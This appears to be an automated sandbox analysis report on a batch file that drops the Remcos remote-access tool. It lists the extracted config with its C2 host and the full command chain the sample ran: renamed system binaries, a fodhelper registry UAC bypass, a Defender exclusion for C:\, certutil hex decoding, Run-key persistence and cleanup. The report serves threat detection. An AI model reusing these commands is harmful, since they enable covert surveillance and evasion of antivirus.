Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/05/2024, 10:05

General

  • Target
    760605c8da72315823d060235720c81d389b54f5a246ef8af323c97f00b9f68e.bat
  • Size 3.5MB
  • Sample240509-l4rl7seh89
  • SHA256 760605c8da72315823d060235720c81d389b54f5a246ef8af323c97f00b9f68e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • sembe.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    nots.dat

  • keylog_flag

    false

  • keylog_folder

    note

  • keylog_path

    %Temp%

  • mouse_option

    false

  • mutex

    Rmc-999Z97

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\760605c8da72315823d060235720c81d389b54f5a246ef8af323c97f00b9f68e.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1360
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:924
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:1556
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:3240
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4876
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          3⤵
            PID:1668
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:320
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            3⤵
              PID:3872
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3040
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              3⤵
                PID:64
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1392
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                3⤵
                  PID:2384
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1868
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3492
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1688
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:1964
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\760605c8da72315823d060235720c81d389b54f5a246ef8af323c97f00b9f68e.bat" "C:\\Users\\Public\\sppsvc.rtf" 9
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3400
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\760605c8da72315823d060235720c81d389b54f5a246ef8af323c97f00b9f68e.bat" "C:\\Users\\Public\\sppsvc.rtf" 9
                  3⤵
                  • Executes dropped EXE
                  PID:1820
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:5012
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:4612
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:3716
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3876
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3696
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1824
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 2
                  3⤵
                  • Runs ping.exe
                  PID:1344
              • C:\Users\Public\Libraries\sppsvc.pif
                C:\Users\Public\Libraries\sppsvc.pif
                2⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of SetWindowsHookEx
                PID:4012
                • C:\Windows\SysWOW64\extrac32.exe
                  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\sppsvc.pif C:\\Users\\Public\\Libraries\\Ghkprmhi.PIF
                  3⤵
                    PID:4316
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  2⤵
                  • Executes dropped EXE
                  PID:3076
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  2⤵
                  • Executes dropped EXE
                  PID:2360
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  2⤵
                  • Executes dropped EXE
                  PID:2792
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:3688
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1684
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1668
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\sppsvc.rtf" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:672
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:1764
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:3156

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      __PSScriptPolicyTest_sph51tky.czp.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sph51tky.czp.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      nots.dat

                      • Path C:\Users\Admin\AppData\Local\Temp\note\nots.dat
                      • Size 144B
                      • SHA256 07e06941750dd6880dd145af6aa9f1d0df9a130d1417fd93960950e602cad98d
                      • MD5 SHA1 SHA512

                      sppsvc.pif

                      • Path C:\Users\Public\Libraries\sppsvc.pif
                      • Size 1.2MB
                      • SHA256 08ca2da041ecbe212130680fe36925edffd0434a5235d265c9c0c48b64cdc2ed
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      sppsvc.rtf

                      • Path C:\Users\Public\sppsvc.rtf
                      • Size 2.4MB
                      • SHA256 daa06228cde8f2875516a6aa20bf52e4a2eefcb72137ed74607e684f8a0ae086
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/3492-31-0x00000246BCD20000-0x00000246BCD42000-memory.dmp

                      memory/4012-85-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-98-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-81-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-87-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-88-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-89-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-75-0x0000000000400000-0x0000000000539000-memory.dmp

                      memory/4012-84-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-99-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-109-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-110-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-120-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-121-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-131-0x00000000339C0000-0x00000000349C0000-memory.dmp

                      memory/4012-132-0x00000000339C0000-0x00000000349C0000-memory.dmp